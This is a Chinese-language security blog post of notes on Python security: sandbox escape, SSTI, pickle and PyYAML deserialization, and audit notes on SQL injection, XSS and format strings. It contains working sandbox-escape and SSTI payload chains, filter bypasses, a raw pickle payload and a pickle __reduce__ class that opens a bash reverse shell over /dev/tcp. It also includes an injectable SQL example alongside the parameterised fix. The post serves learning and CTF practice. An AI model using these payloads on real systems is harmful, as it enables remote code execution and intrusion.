关于Python sec的一些简单的总结

原文发在tools上了,以前一直用hope师傅的土司账户,自己懒得去弄一个,后来觉得不太好,所以水了一篇文章去搞个账户而已,但是发现账户新注册到处被卡权限,难受2333。

写这个的起因是蛮早之前在phithon师傅的小密圈看到分享的python sec github,然后想起来正好借这个梳理一下自己的笔记好了。

好吧主要还是博客长草了,自己都快要忘了还有博客这个东西了,突然收到阿里爸爸说我的域名还一个月过期了,才想起来这边还有个博客。

内容大部分从过去的笔记中摘出来的,所以其中有的地方很详细有的很简略,而且结构也是蛮乱的。

另外关于出处问题,笔记没有记录当时学习来源,如果其中有引用部分请联系我添加上,另外师傅们要是发现存在表述不严谨或是错误的地方请务必联系我修改。

0x00 Python 沙箱逃逸

说到python沙箱逃逸,一般来说就是给个交互式的python shell或是web里面常见的SSTI。

然后参照学习过以下几位师傅的博客和文章mosuanjoychouPython沙箱逃逸的n种姿势

回到正题,其实比较关键的是要对python一些常用的库和API要比较熟悉,有时还需要对python的特性要很熟悉,这里再一次安利一下《流畅的python》这本书。

1.通常情况

通常如果能够执行代码的话,我们一般采用以下的方法:

  • 1、使用常见的命令执行模块或是文件读写模块
  • 2、使用写文件到指定位置,再使用其他辅助手段
  • 3、读写文件等等

根据那篇文章大概如下:

import os
import subprocess
import commands

# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

其中,这个subprocess中的shell参数phithon师傅在小密圈以前专门提到过 如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。 如果shell=False的话,启动的是可执行程序本身,后面的参数不再支持shell语法。

PS:其中Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True,PHP中的exec则类似于shell=False。

而对于python的文件操作,我们常用的open()和file(),用法差不多,不过python3已经移除了file函数。所以在做沙盒逃逸时候要注意一下。

所以通常我们都会想到os、subprocess、commands三个模块,当然还有内置的file啊open啊。

其实还有一些别的函数在特殊情况下可以考虑下,譬如pickle.loads,这是后面反序列化要讲的,还有专门用来记录代码执行时间的timeit模块,比如timeit.timeit函数就能执行命令,当然这个模块中除了timeit之外有很多函数,timeit库官方doc传送门,能够进行文件读取的库就更多了,types.FileTypeplatform.popen等。

另外还要提醒下os中能够执行命令的可不止system、popen之类的,os中能够执行命令的函数太多了,具体可以看python os官方doc的15.1.5.Process Management一节,这里不做枚举。

还要补充一点,关于python3.6引入的一个字符串修饰符f,即f-strings,这个比较有意思了,能实现的效果基本和format差不太多,同样可以用来进行命令执行

f"{__import__('os').system('ls')}"

这也会是一个可能能够用上的点。

2、禁用相关关键字、库、函数

如果是禁用关键字,那么问题不很大,字符串可以编码绕过,也可以通过eval,exec,execfile来执行 例如eval('xxxxxx'.decode('base64'))等,就是一个思路 例如原文下述过滤,禁用了引入相关的库:

pattern  = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
    print "forbidden module import detected"
    raise Exception

看到其实主要是import关键字没了, 但是还可以用__import__函数,importlib库等等去bypass,至于字符串,刚说了编码即可绕过: 这里直接采用原文的样例,

f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')

or:

import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')

关于import进阶, python中,不用引入直接使用的内置函数称为 builtin 函数,例如我们通常用的open,chr,ord等等:

__builtin__.open()
__builtin__.int()
__builtin__.chr()

这里纠正一下原文Python沙箱逃逸的n种姿势的一个不很严谨的地方,原文提出了如下方法来重新加载内建模块,

import imp
imp.reload(__builtin__)

or

imp.load_module(__builtin__)

这是不完全正确的,首先,__builtin__虽然已经被加载,但是它是不可见的,什么意思,你通过上述两种方式无法找到该模块,dir也不行。上述方法能够生效的前提是,在最开始有这样的程序语句import __builtin__,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。

另外千万不要把__builtins____builtin__搞混了。

3、沙盒逃逸思路

本想弄一个题目来实例一下,发现swings师傅 早就已经发过类似的东西了,这里贴一下就好了,思路相当清晰的bypass思路,从一个CTF题目学习Python沙箱逃逸

4、回到ssti

下面的内容严格来说不应该单独放在ssti这一栏下面,不过就不在意这些细节了。。。。

做了蛮多ssti的题目,这里就简单的小总结,其实这个看似变化多端,核心就是那几个魔术方法像是__mro__,__base__,这两个意思都是寻找父类,然后找到<type 'object'>(python2)或是<class 'object'>(python3),然后寻找其子类,再去找命令执行或是文件读取的模块,核心下面两页东西:

  • https://docs.python.org/2/genindex-_.html
  • https://docs.python.org/3.6/genindex-_.html

先随便给几个2和3下的poc:

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')



python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

这样的poc很多的,大家可以自己开个python shell尝试找,应该很容易就能找到的,以往的ctf比赛中或是实际环境中这一类的问题也是屡见不鲜了,所以不算什么新知识。

至于寻找的思路,我以python2中的第一条为例来说明,大家可以看到,无论是[].__class__.__base__.__subclasses__()还是"".__class__.__mro__[-1].__subclasses__()还是样例中的其他写法,都表示<type 'object'>(python2)或是<class 'object'>的子类,所以这就是我们sandbox bypass的核心, 首先通过这份代码:

#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in [].__class__.__base__.__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print cnt,item
        cnt+=1
    except:
        print "error",cnt,item
        cnt+=1
        continue

我们找到

...
...
71 <class 'site._Printer'>
...
...
76 <class 'site.Quitter'>
...
...

这两个模块是引入过’os’模块的,所以我们就可以用:

  • [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
  • [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']

轻松引入os模块了。 再以Python2的第三条和第四条为例,我用如下代码寻找的:

#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in "".__class__.__mro__[-1].__subclasses__():
    try:
        cnt2=0
        for i in item.__init__.__globals__:
            if 'eval' in item.__init__.__globals__[i]:
                print cnt,item,cnt2,i
            cnt2+=1
        cnt+=1
    except:
        print "error",cnt,item
        cnt+=1
        continue

所以其实寻找方式其实大同小异,只要巧妙的运用魔术方法来寻找关键函数和关键模块就行了,当然其中的变通啊bypass啊也需要根据实际环境去解决,这里就不再过多赘述。

哦,还要多提一下jinja2,因为使用的频率相当高,所以jinja2下的给一个poc:

request.__class__.__mro__[8].__subclasses__()[40]

另外关于jinja2下的一些其他姿势,我就不强行搬运了,主要看看这个Jinja2 template injection filter bypasses

当然最好是看jinja的文档中的内置过滤器清单一栏

思路则主要是利用内置过滤器来控制输入来bypass黑名单过滤。

提到了这里还是说说实际和ssti相关的东西,以flask为例,如果是直接return render_template('home.html', url=request.args.get('p'))就基本不存在ssti了,render_template_string存在ssti,而django中的如果使用return render(request,'xxx.html',var)也基本是安全的。

0x01 序列化与反序列化

1、通常

关于序列化与反序列化则不再赘述,在python中,我们通常采用几种库json、pickle/cPickle,当然还有marshal啊shelve啊之类的,不枚举了。这里重点聊聊pickle/cPickle,这两者我们用起来没有任何区别,我个人没有深究二者实现之类的,只知道cPickle的速度远大于pickle就行了。然后这两兄弟有什么问题呢,简单的说就是在在调用他们的loads方法(反序列化)的时候,会根据输入执行python代码,比如我传入

"\x80\x03cbuiltins\neval\nq\x00X\x0f\x00\x00\x00os.system('ls')q\x01\x85q\x02Rq\x03."

这样的字符串到pickle的loads方法中,就能执行os.system('ls'),那么这样的串是怎么构造出来的呢?

看这里,pickle官方文档中reduce一栏

构造的关键就是__reduce__函数,这个魔术方法的作用根据上面的文档简单总结如下:

  • 如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return 'a',那么它就会在当前的作用域中寻找名为a的对象然后返回,否则报错。
  • 如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。所以比如最后return (eval,("os.system('ls')",)),那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,('ls',))

看看下面的栗子

#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
    def __reduce__(self):
        #return (eval,("os.system('ls')",))
        return (os.system,('ls',))

a=test()
c=pickle.dumps(a)
print c
pickle.loads(c)

这是简单的执行命令,至于反弹shell的方法就不用说了,看看waitalone师傅的linux下反弹shell的方法,基本的bash反弹如下:

#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
    def __reduce__(self):
        code='bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"'
        return (os.system,(code,))
a=test()
c=pickle.dumps(a)
print c
pickle.loads(c)

所以很容易能看出来其实python的反序列化漏洞相当可啪。

另外要着重提一下,关于这个__reduce__方法是新式类(内置类)特有的,关于新式类和旧式类参照我以前的一篇博客:python深入学习(一):类与元类(metaclass)的理解

因此上面的poc,由print的语法看出来我用的python2,所以test类需要继承自object,python3则不需要。

至于这个反序列化得到的字符串的格式代表的意义此处不做深究,可以参照文章Python Pickle的任意代码执行漏洞实践和Payload构造或是Arbitrary code execution with Python pickles

2、其他

那提到了反序列化漏洞,就不能不提一下几个月之前之前的PyYAML那个洞了,PyYAML不在标准库中,但应该是Python中解析YAML的最主流的方式 因为这个洞也有一阵子了,这里不再多说漏洞详细,给个链接:PyYAML反序列化漏洞

至于这个漏洞,并没有被修复,因为这个yaml.load函数本身就有支持扩展特征格式的作用,而另外一个更为安全的函数yaml.safe_load其实早就被设计好了,官方doc也提醒了如果要使用yaml.load那么就要务必要小心选择信任的文件。

0x02 关于python安全审计

1、SQLI

这一块确实不很想话太多笔墨,因为感觉和php等的代码审计没有太多本质区别,所以这一块我自己的笔记很少,当然还是每一块都会提一下,但是个人还是会在更加能够突出python web安全的地方多写一点。 先看看SQL注入咯,在python web里面,sql注入现在确实已经很少了,orm框架的使用,导致sql注入越来越少,无论是独立的耳熟能详的SQLAlchemy框架,还是django自带的orm,还是别的orm框架。 举个存在注入的栗子咯

import pymysql
conn= pymysql.connect(host='localhost',port = 3306,user='root',passwd='1',db ='test',)
connect=conn.curser()
sql="SELECT * FROM table WHERE id=" + value_from_user_input
connect.execute(sql)
connect.fetchall()
....
....

最简单的常景也是学习sql注入时不能再熟悉的栗子了,只不过换了个后端语言罢了,所以这里不再深入,像上面的,如果不采用orm框架的话,那么就可以采用像这样的方法,用?或是%s等占位,之后传入对应类型的数据即可

sql = "SELECT * FROM table WHERE id=?"
connection.execute(sql, (value_from_user_input,))

很熟悉把,对啊,预编译啊,提高性能还防注入呢。

说道orm,大部分orm也都支持执行原生sql语句,如果一定要这样使用的话,也要同样注意注入问题。

2、XSS

接下来看看xss把。 python web中的xss,如果不使用模板语言的话,比如单纯的return HttpResponse('****')或是像flask框架里面return '****',先看可控,再看过滤函数,如果没有往往就有切入点了。 最好的其实还是规范使用模板语言。当然也并非说模板语言就能够防止xss了,反倒如果模板语言输出的时候没有处理好反倒可能会产生远比xss本身危害更大的漏洞,典型的就是ssti了。

一般来说,使用django的模板渲染能够抵御很多的xss攻击。比如如下:

return render(request,"a.html",{"var":'<script>alert(1);<script>'})

django会自动对特殊符号进行转义,保证输入的是纯文本,当然dom xss就不属于我们讨论的范畴,同样下述情况针对属性的xss也会无能为力

<style class={{ var }}>...</style>

控制var为{"var":'class1 onload=javascript:alert(1)'}就凉凉了,这里要提一下关于自动转义和手动转义,在django的模板渲染的时候,自动转义是默认开启的。说细一点呢,django里面分为三种类型的字符串可以传递给模板中的代码:

  • 原始字符串:即Python 原生的str 或unicode 类型。输出时,如果自动转义生效则进行转义,否则保持不变
  • 安全字符串:是指在输出时已经被标记为安全而不用进一步转义的字符串。
  • 标记为”需要转义”的字符串:在输出时始终转义,不会重复转义。

django里面不存在多次转义的问题,一旦某个字符串被转义了,在内部即变成了SafeBytes 或SafeText 类型,另外django转义的时候使用的内建的的过滤器进行转义的。再说说flask把,flask和django稍稍有些不一样,从官方doc可以知道,首先flask也是有自动转义和手动转义,flask的自动转义不像django是无论什么时候都是开启的,从flask0.5版本开始,在flask中模板后缀不为.html 、.htm 、.xml、.xhtml的是不会启用自动转义的,这一点有区别,另外就是flask的转义用的是jinja2模板的转义功能,至于其他的话和django并不大。

另外要提一下,无论是django还是flask还是别的,只要模板里面使用了jinja2的|safe标记或是传送的变量是MarkupSafe.Markup的对象,那么自动转义功能会失效。

3、格式化字符串

先贴一下:phithon师傅的博客链接 其实是和ssti有些类似的,但是利用起来有些费劲,因为不能像ssti那样利用,但是用来泄露信息是可以的。 不过f-strings在这里是有效的,如下栗子

def test(request):
    user = '123'
    template = 'This is {user}\'s email: '+f"{__import__('os').system('curl 127.0.0.1:12345')}"
    return HttpResponse(template.format(user=user))

请求是实实在在收到了的: python-sec1

但是这是相悖的,因为我们没有办法输入f-strings,所以现在看来暂时是应该没办法更进一步利用的。

4、其他

梳理到这里,当然漏洞不只上面三种,只是个人认为上面比较漏洞具有python的特性,只是其他的漏洞和普通的php审计的原理差不太多,可能就是一些函数啊库啊需要多了解。比如命令注入/代码注入啊,这一点注意在沙盒逃逸那一章提出来的那些敏感函数就行,文件操作同样,上传下载删除覆盖等等操作,当然还有问题很大必须要慌的逻辑漏洞,这一点是防不胜防,还有一些别的问题,比如github的泄露,当时帮忙改一个django项目的的身份验证方式改成oauth2时,改完下意识直接就同步到github上,各种key暴露无遗。当然还有很多别的漏洞类型,这里也就不啰嗦了。

关于django的漏洞,其实django的文档就已经给出:https://docs.djangoproject.com/en/2.0/releases/security/,网上漏洞分析文章太多了,我笔记整理了一些,但是这篇文章里面就不搬运了。